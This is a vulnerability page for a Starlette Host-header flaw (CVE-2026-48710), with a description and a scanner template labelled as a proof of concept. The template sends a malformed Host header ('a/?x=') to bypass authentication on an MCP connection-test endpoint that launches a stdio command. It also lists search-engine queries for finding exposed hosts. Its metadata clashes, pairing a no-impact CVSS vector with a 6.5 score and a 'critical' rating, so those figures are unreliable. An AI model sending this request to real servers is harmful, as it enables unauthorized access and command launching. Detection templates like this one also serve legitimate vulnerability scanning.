CVE-2026-48710: Starlette - Improper Validation of Unsafe Equivalence in Input

2026-06-17 Starlette PoC Public

Description

A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.

PoC

id: CVE-2026-48710

info:
  name: Starlette - Improper Validation of Unsafe Equivalence in Input
  author: ritikchaddha
  severity: critical
  description: |
    A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.
  impact: |
    A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.
  remediation: |
    Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.
  reference:
    - https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48710
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-48710
    epss-score: 0.36257
    epss-percentile: 0.98399
    cwe-id: CWE-1289
  metadata:
    max-request: 2
    vendor: Kludex
    product: starlette
    shodan-query: http.html:"starlette"
    fofa-query: body="starlette"
  tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"transport":"stdio","command":"echo","args":["test"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "auth_error", "Authentication Error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: 54

        {"transport":"stdio","command":"echo","args":["test"]}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Failed to connect to MCP server"
          - "status"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220425ff16ecf9aa3eea0be928234df263a1b21de7223eb9d4bf2b449cbe68b9e5402203932fe755daaa896e2c943236a141ec2d4d85b26917e9fcd786f692b4b04fdc4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities